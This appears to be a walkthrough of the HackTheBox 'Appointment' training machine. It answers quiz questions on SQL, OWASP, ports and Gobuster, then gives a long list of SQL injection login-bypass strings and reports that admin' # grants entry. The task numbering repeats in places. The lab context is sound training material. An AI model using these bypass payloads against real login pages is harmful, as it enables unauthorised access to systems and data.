Appointment Walkthrough | HackTheBox

This is a simple walkthrough for completing the appointment target machine in Hackthebox.com.

Task 1

Question: What does the acronym SQL stand for?

Answer: Structured Query Language

Task 2

Question: What is one of the most common type of SQL vulnerabilities?

Answer: SQL injection

Task 3

Question: What does PII stand for?

Answer: Personally Identifiable Information

Task 4

Question: What does the OWASP Top 10 list name the classification for this vulnerability?

Answer: A03:2021-Injection

Task 5

Question: What service and version are running on port 80 of the target?

Answer: Apache httpd 2.4.38 ((Debian))

Task 6

Question: What is the standard port used for the HTTPS protocol?

Answer: 443

Task 7

Question: What is one luck-based method of exploiting login pages?

Answer: Brute-forcing

Task 8

Question: What is a folder called in web-application terminology?

Answer: directory

Task 9

Question: What response code is given for “Not Found” errors?

Answer: 404

Task 10

Question: What switch do we use with Gobuster to specify we’re looking to discover directories, and not subdomains?

Answer: dir

Task 8

Question: What symbol do we use to comment out parts of the code?

Answer: #

Task 9

Submit Flag

If we navigate to the domain address, we will be prompted with a login page.

We can do a quick Google search for SQL admin login strings. This search will give us many admin login strings we can try to login with in search for a sql injection vulnerability.

SQL Injection Authentication Bypass Strings

or 1=1
or 1=1–
or 1=1#
or 1=1/*
admin’ —
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1′–
admin’ or ‘1’=’1’#
admin’ or ‘1’=’1’/*
admin’or 1=1 or ”=’
admin’ or 1=1
admin’ or 1=1–
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1’–
admin’) or (‘1’=’1’#
admin’) or (‘1’=’1’/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1′–
admin’) or ‘1’=’1’#
admin’) or ‘1’=’1’/*
admin” —
admin” #
admin”/*
admin” or “1”=”1
admin” or “1”=”1″–
admin” or “1”=”1″#
admin” or “1”=”1″/*
admin”or 1=1 or “”=”
admin” or 1=1
admin” or 1=1–
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1″=”1
admin”) or (“1″=”1”–
admin”) or (“1″=”1″#
admin”) or (“1″=”1″/*
admin”) or “1”=”1
admin”) or “1”=”1″–
admin”) or “1”=”1″#
admin”) or “1”=”1″/*

If we set the username and password as admin’ # it will allow us to login to the web application.

Mission accomplished.